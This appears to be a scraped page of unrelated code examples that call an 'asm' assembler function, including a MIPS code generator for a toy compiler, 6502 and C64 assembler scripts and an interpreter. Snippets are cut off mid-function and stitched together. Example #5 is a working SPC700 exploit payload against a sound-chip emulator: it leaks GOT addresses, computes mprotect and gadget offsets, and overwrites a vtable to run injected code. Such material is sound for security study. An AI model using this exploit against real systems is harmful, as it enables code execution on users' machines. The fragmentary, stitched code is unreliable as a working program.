def compile_array(array, max_length):
    for i in range(len(array)):
        code = asm.asm(compile.compile(array[i]).split("\n"))
        if (len(code) < max_length):  # pad to max_length
            code = pad_array(code, max_length - len(code), 0)
        elif len(code) > max_length:
            print("Warning: data sample size exceeds max length!")
            code = code[:max_length]
        array[i] = code
Beispiel #2
0
    def perform_assemble(self, code, addr):
        global FILE_BYTE_STREAM
        if FILE_BYTE_STREAM == None:
            make_file_contents()

        new_insts = asm.asm(code)
        num_bytes_changed = sum([len(x) for x in new_insts])

        # Update FILE_BYTE_STREAM
        for new_inst in new_insts:
            for new_byte in new_inst:
                FILE_BYTE_STREAM.bytes[addr] = (new_byte, 1)
                addr += 1

        # Rewrite the input file
        if num_bytes_changed != 0:
            rewrite_file()

        # Give binja something so it reloads the instructions
        return ("A" * num_bytes_changed, "")
def getAssemblyCode(filename):
	ST,TAC = parser.parserFile(filename)
	paramcount = 4
	# ST.Printsymbtbl()
	# TAC.printTac()
	# pprint.pprint(ST.infovar)
	asm = assembly.asm(ST,TAC)
	pprint.pprint(TAC.code)
	for function in TAC.code:
		asm.function_call(function)
		# things to do for main
		for threeAddress in TAC.code[function]:
			z = threeAddress[0] 
			x = threeAddress[1] 
			y = threeAddress[2] 
			op = threeAddress[3] 


			if (op == 'BeginFunction'):
				# main_size = z
				if(function.split('.')[-1] == 'main'):
					main_size = 200
					asm.addInstr(['sub','$sp','$sp',main_size])
					asm.addInstr(['la','$fp',str(main_size)+'($sp)',''])
				else:
					# For functions other than main
					asm.addInstr(['sub','$fp','$sp',28+4*len(ST.mainsymbtbl[function]['Parameters'])])
					asm.storeParam(function)
					# func_stack_size = 272
					asm.addInstr(['sub','$sp','$fp',400])
			elif(op == 'Endfunction'):
				if(function == 'Main.HelloWorld.main'):
					asm.addInstr(['li','$v0','10',''])
					asm.addInstr(['syscall','','',''])
				else :
					asm.addInstr(['jr','$ra','',''])
			elif (op == '=a'):
				reg1 = asm.getReg(z,0)
				asm.addInstr(['li',reg1,x,''])
				asm.storeReg(z,0)
			elif (op == '=s'):
				asm.addToString(z,x)
			elif (op == "=") :
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				asm.addInstr(['move',reg1,reg2,''])
				asm.storeReg(z,0)
			elif (op == '+'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				if (type(y)==int):
					asm.addInstr(['li','$s7',y,''])
					asm.addInstr(['add',reg1,reg2,'$s7'])
				else:
					reg3 = asm.getReg(y,2)
					asm.addInstr(['add',reg1,reg2,reg3])
				asm.storeReg(z,0)
			elif (op == '-'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				if (type(y)==int):
					asm.addInstr(['li','$s7',y,''])
					asm.addInstr(['sub',reg1,reg2,'$s7'])
				else:
					reg3 = asm.getReg(y,2)
					asm.addInstr(['sub',reg1,reg2,reg3])
				asm.storeReg(z,0)
			elif (op == '*'):
				reg1 = asm.getReg(z,0)
				reg3 = asm.getReg(y,2)
				if(not type(x) == int):
					reg2 = asm.getReg(x,1)
					asm.addInstr(['mult',reg2,reg3,''])
				else :
					asm.addInstr(['li','$s7',x,''])
					asm.addInstr(['mult','$s7',reg3,''])
				asm.addInstr(['mflo',reg1,'',''])
				asm.storeReg(z,0)
			elif (op == '/'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['div',reg2,reg3,''])
				asm.addInstr(['mflo',reg1,'',''])
				asm.storeReg(z,0)
			elif (op == '%'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['div',reg2,reg3,''])
				asm.addInstr(['mfhi',reg1,'',''])
				asm.storeReg(z,0)
			elif (op == '<'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['slt',reg1,reg2,reg3,''])
				asm.storeReg(z,0)
			elif (op == '>'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['sgt',reg1,reg2,reg3,''])
				asm.storeReg(z,0)
			elif (op == '<='):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['sle',reg1,reg2,reg3,''])
				asm.storeReg(z,0)
			elif (op == '>='):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['sge',reg1,reg2,reg3,''])
				asm.storeReg(z,0)
			elif (op == '||'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['or',reg1,reg2,reg3])
				asm.storeReg(z,0)
			elif (op == '&&'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['and',reg1,reg2,reg3])
				asm.storeReg(z,0)
			elif (op == '=='):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['sub','$s7',reg2,reg3])
				asm.addInstr(['slt','$s6','$0','$s7'])
				asm.addInstr(['slt','$s5','$s7','$0'])
				asm.addInstr(['or',reg1,'$s6','$s5'])
				asm.addInstr(['li','$s7',1,''])
				asm.addInstr(['sub',reg1,'$s7',reg1])
				asm.storeReg(z,0)
			elif (op == '!='):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				reg3 = asm.getReg(y,2)
				asm.addInstr(['sub','$s7',reg2,reg3])
				asm.addInstr(['slt','$s6','$0','$s7'])
				asm.addInstr(['slt','$s5','$s7','$0'])
				asm.addInstr(['or',reg1,'$s6','$s5'])
				asm.storeReg(z,0)
			elif(op == 'GOTO'):
				asm.addInstr(['j',y,'',''])
			elif (op == 'COND_GOTO'):
				reg1 = asm.getReg(z,0)
				asm.addInstr(['beq',reg1,'$0',y])
				# asm.storeReg(z,0)
			elif (op == 'COND_GOTO_TR'):
				reg1 = asm.getReg(z,0)
				asm.addInstr(['bne',reg1,'$0',y])
				# asm.storeReg(z,0)
			elif (op == 'PARAMC'):
				off = ST.infovar[function][z]['offset']
				asm.addInstr(['la','$s0',str(-off)+'($fp)',''])
				asm.addInstr(['sw','$s0','-4($sp)','####'])
			elif (op == 'PARAM'):
				# param_reg = asm.getParamReg(z)
				reg1 = asm.getReg(z,0)
				paramcount += 4
				if('.' in ST.infovar[function][z]['type']):
					flag = False
					for param in ST.mainsymbtbl[function]['Parameters'] :
						if(param['Name'] == z and flag == False) :
							asm.addInstr(['lw','$s0',str(-ST.infovar[function][z]['offset'])+'($fp)','#'])
							flag = True
							break
					if(not flag):
						asm.addInstr(['la','$s0',str(-ST.infovar[function][z]['offset'])+'($fp)','#1'])
					asm.addInstr(['sw','$s0','-'+str(paramcount)+'($sp)',''])
				else :
					asm.addInstr(['sw',reg1,'-'+str(paramcount)+'($sp)',''])
			elif (op == 'F_CALL'):
				if(z == 'Print' and y == 'int'):
					reg = asm.getReg(x,1)
					asm.addInstr(['move','$a0',reg,''])
					asm.addInstr(['li','$v0','1',''])
					asm.addInstr(['syscall','','',''])
				elif( z == 'Print' and y == 'string'):
					# print "Here"
					asm.addInstr(['la','$a0',x,''])
					asm.addInstr(['li','$v0','4',''])
					asm.addInstr(['syscall','','',''])
				else:
					asm.savePrevValues(100,paramcount)
					asm.addInstr(['jal',y,'',''])
					asm.addInstr(['lw','$ra','12($fp)',''])
					asm.addInstr(['lw','$sp','4($fp)',''])
					asm.addInstr(['lw','$fp','8($fp)',''])
					reg1 = asm.getReg(z,0)
					asm.addInstr(['move',reg1,'$v0',''])
					asm.storeReg(z,0)

				paramcount = 4
			elif (op == 'F_CALLC'):
				asm.savePrevValues(100,paramcount)
				asm.addInstr(['jal',y,'',''])
				asm.addInstr(['lw','$ra','12($fp)',''])
				asm.addInstr(['lw','$sp','4($fp)',''])
				asm.addInstr(['lw','$fp','8($fp)',''])
				reg1 = asm.getReg(z,0)
				asm.addInstr(['move',reg1,'$v0',''])
				asm.storeReg(z,0)

				paramcount = 4
			elif (op == 'RETURN'):
				reg1 = asm.getReg(z,0)
				asm.addInstr(['move','$v0',reg1,''])
				asm.addInstr(['jr','$ra','',''])
			elif (op == 'FETCH'):
				reg1 = asm.getReg(z,0)
				flag = False
				# print ST.mainsymbtbl[function]['Parameters']
				# print z
				for param in ST.mainsymbtbl[function]['Parameters'] :
					if(param['Name'] == x and flag == False) :
						asm.addInstr(['lw',reg1,'-'+str(ST.infovar[asm.currFunc][x]['offset'])+'($fp)','#2'])
						flag = True
						break
				if(not flag):
					# print reg1
					asm.addInstr(['la',reg1,'-'+str(ST.infovar[asm.currFunc][x]['offset'])+'($fp)','#3'])
				asm.storeReg(z,0)
				# print ST.infovar[asm.currFunc][x]['offset']	
				# print 'Halsdmsalkmdlkm'
			elif (op == '=*'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				asm.addInstr(['sw',reg2,'0('+reg1+')',''])
				asm.storeReg(z,0)
			elif (op == '=arr'):
				reg1 = asm.getReg(z,0)
				reg2 = asm.getReg(x,1)
				asm.addInstr(['lw',reg1,'0('+reg2+')',''])
				asm.storeReg(z,0)
			elif (op == 'LABEL'):
				asm.addInstr([z+':','','',''])
			elif (op == '*+='):
				reg1 = asm.getReg(z,0)
				asm.addInstr(['lw','$s7','0($fp)',''])
				asm.addInstr(['li','$s6',y,''])
				asm.addInstr(['sub','$s7','$s7','$s6'])
				asm.addInstr(['lw',reg1,'0($s7)',''])
				asm.storeReg(z,0)
			elif (op == 'thisassign'):
				reg1 = asm.getReg(z,0)
				asm.addInstr(['lw','$s7','0($fp)',''])
				asm.addInstr(['li','$s6',y,''])
				asm.addInstr(['sub','$s7','$s7','$s6'])
				asm.addInstr(['sw',reg1,'0($s7)',''])
				# asm.storeReg(z,0)
			elif (op == '+*='):
				reg1 = asm.getReg(z,0)
				off = ST.infovar[function][x]['offset']
				asm.addInstr(['la','$s7',str(-off)+'($fp)',''])
				asm.addInstr(['li','$s6',y,''])
				asm.addInstr(['sub','$s7','$s7','$s6'])
				asm.addInstr(['lw',reg1,'0($s7)',''])
				asm.storeReg(z,0)
			elif (op == 'cvarass'):
				reg3 = asm.getReg(y,2)
				off = ST.infovar[function][z]['offset']
				asm.addInstr(['la','$s7',str(-off)+'($fp)',''])
				asm.addInstr(['li','$s6',x,''])
				asm.addInstr(['sub','$s7','$s7','$s6'])
				asm.addInstr(['sw',reg3,'0($s7)',''])



	# pprint.pprint(asm.regAssignedVar)
	# pprint.pprint(asm.assembly_code)
	asm.printAssembly()
Beispiel #4
0
#!/usr/bin/env python

import os, sys
from asm import asm
from d64 import Disk

disk = 'test.d64'
fn = sys.argv[1]
r = asm(fn)
if r :
    base,bs = r
    bs = ''.join(chr(b) for b in bs)
    d = Disk('asm.d64')
    d.removeFile("ASM")
    d.writeFile("ASM", base, bs)
    d.sync()

Beispiel #5
0
code = asm('''
    ''' + call_reg('setup_y') + '''

    ; copy vtable from Y+0xea7c to 0x20
    ''' + copy_y(0xea7c, 0xfe20) + '''

    ; copy ram pointer from Y+0xf954 to 0x28
    ''' + copy_y(0xf954, 0xfe28) + '''

    ; compute data_file ptr in 0x30
    ''' + store_int(0x40, -4580) + '''
    ''' + add(0x28, 0x40, 0x30) + '''

    ; leak data ptr 0x38
    ''' + leak(0x30, 0x38) + '''

    ; add song name offset (1)
    ''' + store_int(0x40, 46) + '''
    ''' + add(0x38, 0x40, 0x30) + '''
    ; leak song name to 0x50 (1)
    ''' + leak(0x30, 0xa0) + '''

    ; add song name offset (2)
    ''' + store_int(0x40, 8) + '''
    ''' + add(0x30, 0x40, 0x30) + '''
    ; leak song name to 0x58 (2)
    ''' + leak(0x30, 0xa8) + '''

    ; add song name offset (3)
    ''' + store_int(0x40, 8) + '''
    ''' + add(0x30, 0x40, 0x30) + '''
    ; leak song name to 0x60 (3)
    ''' + leak(0x30, 0xb0) + '''

    ; add song name offset (4)
    ''' + store_int(0x40, 8) + '''
    ''' + add(0x30, 0x40, 0x30) + '''
    ; leak song name to 0x68 (4)
    ''' + leak(0x30, 0xb8) + '''

    ; compute free@got in 0x30
    ''' + store_int(0x40, free_got_offset) + '''
    ''' + add(0x20, 0x40, 0x30) + '''

    ; leak free address into 0x38
    ''' + leak(0x30, 0x38) + '''

    ; compute fread@got in 0x30
    ''' + store_int(0x40, fread_got_offset) + '''
    ''' + add(0x20, 0x40, 0x30) + '''

    ; leak fread address into 0x30
    ''' + leak(0x30, 0x30) + '''

    ; write free - pow to 0x30
    ''' + sub(0x38, 0x30, 0x30) + '''

    ''' + add(0x30, 0xa0, 0xa0) + '''
    ''' + add(0xa3, 0x30, 0xa3) + '''
    ''' + add(0x30, 0xa6, 0xa6) + '''
    ''' + add(0xa9, 0x30, 0xa9) + '''
    ''' + add(0x30, 0xac, 0xac) + '''
    ''' + add(0xaf, 0x30, 0xaf) + '''
    ''' + add(0x30, 0xb2, 0xb2) + '''
    ''' + add(0xb5, 0x30, 0xb5) + '''
    ''' + add(0x30, 0xb8, 0xb8) + '''
    ''' + add(0xbb, 0x30, 0xbb) + '''
    ''' + add(0x30, 0xbe, 0xbe) + '''

    call !check_flag

    ; compute gadget 2 address (offset = 0x41bd5 - 0x7b2f0)
    ''' + store_int(0x40, 0x41bd5 - 0x7b2f0) + '''
    ''' + add(0x40, 0x38, 0x80) + '''

    ; compute mprotect (offset = 0xe41b0 - 0x7b2f0 = 0x68ec0)
    ''' + store_int(0x40, 0xe41b0 - 0x7b2f0) + '''
    ''' + add(0x40, 0x38, 0x50) + '''

    ; rip = [rdi+0xa8] = mprotect
    ''' + copy_y(0xfe50, 0xeb24, 8) + '''

    ; rdi = [rdi+0x68] = ram & ~0xffff
    ''' + copy(0x28, 0x50, 8) + '''
    mov X,#0 \n mov 0x50,X \n mov 0x51,X
    ''' + copy_y(0xfe50, 0xeae4, 8) + '''

    ; rsi = [rdi+0x70] = 0x100000
    ''' + store_int(0x40, 0x100000) + '''
    ''' + copy_y(0xfe40, 0xeaec, 8) + '''

    ; rdx = [rdi+0x88] = 7
    ''' + store_int(0x40, 7) + '''
    ''' + copy_y(0xfe40, 0xeb04, 8) + '''

    ; rsp = [rdi+0xa0] = ram + 0x70
    ''' + store_int(0x40, 0x70) + '''
    ''' + add(0x40, 0x28, 0x50) + '''
    ''' + copy_y(0xfe50, 0xeb1c, 8) + '''

    ; set return address to RAM + 0xfb00
    ''' + store_int(0x40, 0xfb00) + '''
    ''' + add(0x40, 0x28, 0x70) + '''

    ; overwrite vtable
    ''' + copy_y(0xfe28, 0xea7c, 8) + '''

    call !wait_for_frame

fail:
    stop

check_flag:
    mov A,0xa0
    cmp A,#0x92
    bne fail
    mov A,0xa1
    cmp A,#0x6b
    bne fail
    mov A,0xa2
    cmp A,#0x44
    bne fail
    mov A,0xa3
    cmp A,#0x92
    bne fail
    mov A,0xa4
    cmp A,#0x97
    bne fail
    ret

; 0 = from (8-bit pointer to 64-bit address)
; 1 = to (8-bit pointer to 64-bit address)
; return address in 0x10+0x11
leak:
    ; save arguments
    mov X,0
    mov 8,X
    mov X,1
    mov 9,X

    ; save link "register"
    mov X,0x10
    mov 0x12,X
    mov X,0x11
    mov 0x13,X

    ; overwrite buf_begin
    ''' + store(0, [0, 0xfe, 0x44, 0xfb, 8]) + '''
    mov X,8
    mov 0,X
    call !copy_y

    ; increment free@got copy by 8
    ''' + store_int(0x40, 8) + '''
    ''' + add(0x30, 0x40, 0x48) + '''

    ; overwrite buf_end
    ''' + copy_y(0xfe48, 0xfb4c) + '''

    ; overwrite extra_clocks
    ''' + store_int(0x40, -51200, bytes=4) + '''
    ''' + copy_y(0xfe40, 0xfb3c, 4) + '''

    ; overwrite dsp_time
    ''' + store_int(0x40, 0, bytes=4) + '''
    ''' + copy_y(0xfe40, 0xfb1c, 4) + '''

    ; overwrite dsp.out
    ''' + store_int(0x40, 0) + '''
    ''' + copy_y(0xfe40, 0xf964, 8) + '''

    call !wait_for_frame
    ''' + call_reg('setup_y') + '''

    ; read free from extra_buf into result
    ''' + store(0, [0x5c, 0xfb, 0, 0xfe, 8]) + '''
    mov X,9
    mov 2,X
    call !copy_y

    ; restore link register
    mov X,0x12
    mov 0x10,X
    mov X,0x13
    mov 0x11,X

    ''' + return_reg_call + '''


wait_for_frame:
    mov X,#0x02
    mov 0,X
    mov X,#0xfe
    mov 1,X
    mov X,#0x41
    mov 2,X
wait_for_frame_loop:
    mov A,[0]+Y
    cmp A,#0x41
    beq wait_for_frame_loop
    ret

; from = 0..1
; to = 2..3
; res = 4..5
add8:
    mov X,#8
    clrc
add_loop:
    push X

    mov X,#0
    mov A,[0+X]
    adc A,[2+X]
    mov [4+X],A
    incw 0
    incw 2
    incw 4

    pop X
    dec X
    bne add_loop
    ret

; from = 0..1
; to = 2..3
; res = 4..5
sub8:
    mov X,#8
    clrc
add_loop_sub:
    push X

    mov X,#0
    mov A,[0+X]
    sbc A,[2+X]
    mov [4+X],A
    incw 0
    incw 2
    incw 4

    pop X
    dec X
    bne add_loop_sub
    ret

; from = 0..1
; to = 2..3
; size = 4
memcpy:
    mov X,4
memcpy_loop:
    push X

    mov X,#0
    mov A,[0+X]
    mov [2+X],A
    incw 0
    incw 2

    pop X
    dec X
    bne memcpy_loop
    ret

; Set y to negative value as described in blog post.
;
; return address in 0x10+0x11
;
; from = 0,1
; to = 2,3
; size = 4
setup_y:
    mov X,#0xff
    mov (X)+,A  ; clobbers 0xff
    mov Y,#0xff
inc_x_loop:
    mov (X)+,A  ; clobbers 0x100-0x1fe
    dec Y
    bne inc_x_loop

    mov A,X
    mov Y,A
    mov (X)+,A ; clobbers 0x1ff
    mov (X)+,A ; clobbers 0x200
    mov A,X
    mul YA

    mov A,Y
    mov X,A
    mov (X)+,A ; clobbers 0x3ff
    mov (X)+,A ; clobbers 0x400
    mov A,X
    mul YA

    mov A,Y
    mov X,A
    mov (X)+,A  ; clobbers 0xfff
    mov (X)+,A  ; clobbers 0x1000
    mov A,X
    mul YA

    mov A,Y
    mov X,A
    mov (X)+,A  ; clobbers 0xffff
    mov (X)+,A  ; clobbers 0x10000 = 0?
    mov A,X
    mul YA

    mov X,A
    mov (X)+,A  ; clobbers 0xff
    mov (X)+,A  ; clobbers 0x100
    div YA,X

    mov A,Y
    mov X,A
    div YA,X

    ''' + return_reg_call + '''

copy_y:
    mov X,4
copy_loop:
    ;mov A,!0xea7c+Y
    ;mov !0xff00+Y,A
    mov A,[0]+Y
    mov [2]+Y,A
    incw 0
    incw 2
    dec X
    bne copy_loop
    ret
''',
           base=pc)
Beispiel #6
0
                a = self.stack.pop()
                if a > 0:
                    self.ip = addr
                    return 0
                else:
                    return 2
            elif ins == LTZJP:
                addr = self.ins[self.ip + 1]
                a = self.stack.pop()
                if a < 0:
                    self.ip = addr
                    return 0
                else:
                    return 2
            elif ins == IN:
                self.stack.append(int(input(" < ")))
            elif ins == OUT:
                print(" > " + str(self.stack.pop()))

            return 1


if __name__ == "__main__":
    import sys
    if len(sys.argv) == 2:
        routine = asm.asm(sys.argv[1])
        imp = Imp(False, **routine)
        imp.run()
    else:
        print("Usage: imp routine.imp")
def compile_string(str, max_length):
    str = process_string(str)
    result = asm.asm(compile.compile(str).split("\n"))
    if len(result) < max_length:
        result = pad_array(result, max_length - len(result), 0)
    return result
Beispiel #8
0
def main():
    code = bytes(asm(0xC000, program))
    # print('Program: ' + repr(code))
    with open('out.prg', 'wb') as f:
        f.write(code)
Beispiel #9
0
from asm import asm
from instruction import *

msg = 'CICA'
msg_len = len(msg)

prg = [
    ldx(0x00),
    lda(index('text', 'x'), 'loop'),
    jsr(0xFFD2),
    inx(),
    cpx(msg_len),
    bne(relative('loop')),  # WARN TODO: Is this relative?
    rts(),
    data(string(msg), 'text')
]

print(list(map(lambda x: hex(x), asm(0xC000, prg))))
def getAssemblyCode(filename):
    ST, TAC = parser.parserFile(filename)
    paramcount = 4
    # ST.Printsymbtbl()
    # TAC.printTac()
    # pprint.pprint(ST.infovar)
    asm = assembly.asm(ST, TAC)
    pprint.pprint(TAC.code)
    for function in TAC.code:
        asm.function_call(function)
        # things to do for main
        for threeAddress in TAC.code[function]:
            z = threeAddress[0]
            x = threeAddress[1]
            y = threeAddress[2]
            op = threeAddress[3]

            if (op == 'BeginFunction'):
                # main_size = z
                if (function.split('.')[-1] == 'main'):
                    main_size = 200
                    asm.addInstr(['sub', '$sp', '$sp', main_size])
                    asm.addInstr(['la', '$fp', str(main_size) + '($sp)', ''])
                else:
                    # For functions other than main
                    asm.addInstr([
                        'sub', '$fp', '$sp',
                        28 + 4 * len(ST.mainsymbtbl[function]['Parameters'])
                    ])
                    asm.storeParam(function)
                    # func_stack_size = 272
                    asm.addInstr(['sub', '$sp', '$fp', 400])
            elif (op == 'Endfunction'):
                if (function == 'Main.HelloWorld.main'):
                    asm.addInstr(['li', '$v0', '10', ''])
                    asm.addInstr(['syscall', '', '', ''])
                else:
                    asm.addInstr(['jr', '$ra', '', ''])
            elif (op == '=a'):
                reg1 = asm.getReg(z, 0)
                asm.addInstr(['li', reg1, x, ''])
                asm.storeReg(z, 0)
            elif (op == '=s'):
                asm.addToString(z, x)
            elif (op == "="):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                asm.addInstr(['move', reg1, reg2, ''])
                asm.storeReg(z, 0)
            elif (op == '+'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                if (type(y) == int):
                    asm.addInstr(['li', '$s7', y, ''])
                    asm.addInstr(['add', reg1, reg2, '$s7'])
                else:
                    reg3 = asm.getReg(y, 2)
                    asm.addInstr(['add', reg1, reg2, reg3])
                asm.storeReg(z, 0)
            elif (op == '-'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                if (type(y) == int):
                    asm.addInstr(['li', '$s7', y, ''])
                    asm.addInstr(['sub', reg1, reg2, '$s7'])
                else:
                    reg3 = asm.getReg(y, 2)
                    asm.addInstr(['sub', reg1, reg2, reg3])
                asm.storeReg(z, 0)
            elif (op == '*'):
                reg1 = asm.getReg(z, 0)
                reg3 = asm.getReg(y, 2)
                if (not type(x) == int):
                    reg2 = asm.getReg(x, 1)
                    asm.addInstr(['mult', reg2, reg3, ''])
                else:
                    asm.addInstr(['li', '$s7', x, ''])
                    asm.addInstr(['mult', '$s7', reg3, ''])
                asm.addInstr(['mflo', reg1, '', ''])
                asm.storeReg(z, 0)
            elif (op == '/'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['div', reg2, reg3, ''])
                asm.addInstr(['mflo', reg1, '', ''])
                asm.storeReg(z, 0)
            elif (op == '%'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['div', reg2, reg3, ''])
                asm.addInstr(['mfhi', reg1, '', ''])
                asm.storeReg(z, 0)
            elif (op == '<'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['slt', reg1, reg2, reg3, ''])
                asm.storeReg(z, 0)
            elif (op == '>'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['sgt', reg1, reg2, reg3, ''])
                asm.storeReg(z, 0)
            elif (op == '<='):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['sle', reg1, reg2, reg3, ''])
                asm.storeReg(z, 0)
            elif (op == '>='):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['sge', reg1, reg2, reg3, ''])
                asm.storeReg(z, 0)
            elif (op == '||'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['or', reg1, reg2, reg3])
                asm.storeReg(z, 0)
            elif (op == '&&'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['and', reg1, reg2, reg3])
                asm.storeReg(z, 0)
            elif (op == '=='):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['sub', '$s7', reg2, reg3])
                asm.addInstr(['slt', '$s6', '$0', '$s7'])
                asm.addInstr(['slt', '$s5', '$s7', '$0'])
                asm.addInstr(['or', reg1, '$s6', '$s5'])
                asm.addInstr(['li', '$s7', 1, ''])
                asm.addInstr(['sub', reg1, '$s7', reg1])
                asm.storeReg(z, 0)
            elif (op == '!='):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                reg3 = asm.getReg(y, 2)
                asm.addInstr(['sub', '$s7', reg2, reg3])
                asm.addInstr(['slt', '$s6', '$0', '$s7'])
                asm.addInstr(['slt', '$s5', '$s7', '$0'])
                asm.addInstr(['or', reg1, '$s6', '$s5'])
                asm.storeReg(z, 0)
            elif (op == 'GOTO'):
                asm.addInstr(['j', y, '', ''])
            elif (op == 'COND_GOTO'):
                reg1 = asm.getReg(z, 0)
                asm.addInstr(['beq', reg1, '$0', y])
                # asm.storeReg(z,0)
            elif (op == 'COND_GOTO_TR'):
                reg1 = asm.getReg(z, 0)
                asm.addInstr(['bne', reg1, '$0', y])
                # asm.storeReg(z,0)
            elif (op == 'PARAMC'):
                off = ST.infovar[function][z]['offset']
                asm.addInstr(['la', '$s0', str(-off) + '($fp)', ''])
                asm.addInstr(['sw', '$s0', '-4($sp)', '####'])
            elif (op == 'PARAM'):
                # param_reg = asm.getParamReg(z)
                reg1 = asm.getReg(z, 0)
                paramcount += 4
                if ('.' in ST.infovar[function][z]['type']):
                    flag = False
                    for param in ST.mainsymbtbl[function]['Parameters']:
                        if (param['Name'] == z and flag == False):
                            asm.addInstr([
                                'lw', '$s0',
                                str(-ST.infovar[function][z]['offset']) +
                                '($fp)', '#'
                            ])
                            flag = True
                            break
                    if (not flag):
                        asm.addInstr([
                            'la', '$s0',
                            str(-ST.infovar[function][z]['offset']) + '($fp)',
                            '#1'
                        ])
                    asm.addInstr(
                        ['sw', '$s0', '-' + str(paramcount) + '($sp)', ''])
                else:
                    asm.addInstr(
                        ['sw', reg1, '-' + str(paramcount) + '($sp)', ''])
            elif (op == 'F_CALL'):
                if (z == 'Print' and y == 'int'):
                    reg = asm.getReg(x, 1)
                    asm.addInstr(['move', '$a0', reg, ''])
                    asm.addInstr(['li', '$v0', '1', ''])
                    asm.addInstr(['syscall', '', '', ''])
                elif (z == 'Print' and y == 'string'):
                    # print "Here"
                    asm.addInstr(['la', '$a0', x, ''])
                    asm.addInstr(['li', '$v0', '4', ''])
                    asm.addInstr(['syscall', '', '', ''])
                else:
                    asm.savePrevValues(100, paramcount)
                    asm.addInstr(['jal', y, '', ''])
                    asm.addInstr(['lw', '$ra', '12($fp)', ''])
                    asm.addInstr(['lw', '$sp', '4($fp)', ''])
                    asm.addInstr(['lw', '$fp', '8($fp)', ''])
                    reg1 = asm.getReg(z, 0)
                    asm.addInstr(['move', reg1, '$v0', ''])
                    asm.storeReg(z, 0)

                paramcount = 4
            elif (op == 'F_CALLC'):
                asm.savePrevValues(100, paramcount)
                asm.addInstr(['jal', y, '', ''])
                asm.addInstr(['lw', '$ra', '12($fp)', ''])
                asm.addInstr(['lw', '$sp', '4($fp)', ''])
                asm.addInstr(['lw', '$fp', '8($fp)', ''])
                reg1 = asm.getReg(z, 0)
                asm.addInstr(['move', reg1, '$v0', ''])
                asm.storeReg(z, 0)

                paramcount = 4
            elif (op == 'RETURN'):
                reg1 = asm.getReg(z, 0)
                asm.addInstr(['move', '$v0', reg1, ''])
                asm.addInstr(['jr', '$ra', '', ''])
            elif (op == 'FETCH'):
                reg1 = asm.getReg(z, 0)
                flag = False
                # print ST.mainsymbtbl[function]['Parameters']
                # print z
                for param in ST.mainsymbtbl[function]['Parameters']:
                    if (param['Name'] == x and flag == False):
                        asm.addInstr([
                            'lw', reg1,
                            '-' + str(ST.infovar[asm.currFunc][x]['offset']) +
                            '($fp)', '#2'
                        ])
                        flag = True
                        break
                if (not flag):
                    # print reg1
                    asm.addInstr([
                        'la', reg1, '-' +
                        str(ST.infovar[asm.currFunc][x]['offset']) + '($fp)',
                        '#3'
                    ])
                asm.storeReg(z, 0)
                # print ST.infovar[asm.currFunc][x]['offset']
                # print 'Halsdmsalkmdlkm'
            elif (op == '=*'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                asm.addInstr(['sw', reg2, '0(' + reg1 + ')', ''])
                asm.storeReg(z, 0)
            elif (op == '=arr'):
                reg1 = asm.getReg(z, 0)
                reg2 = asm.getReg(x, 1)
                asm.addInstr(['lw', reg1, '0(' + reg2 + ')', ''])
                asm.storeReg(z, 0)
            elif (op == 'LABEL'):
                asm.addInstr([z + ':', '', '', ''])
            elif (op == '*+='):
                reg1 = asm.getReg(z, 0)
                asm.addInstr(['lw', '$s7', '0($fp)', ''])
                asm.addInstr(['li', '$s6', y, ''])
                asm.addInstr(['sub', '$s7', '$s7', '$s6'])
                asm.addInstr(['lw', reg1, '0($s7)', ''])
                asm.storeReg(z, 0)
            elif (op == 'thisassign'):
                reg1 = asm.getReg(z, 0)
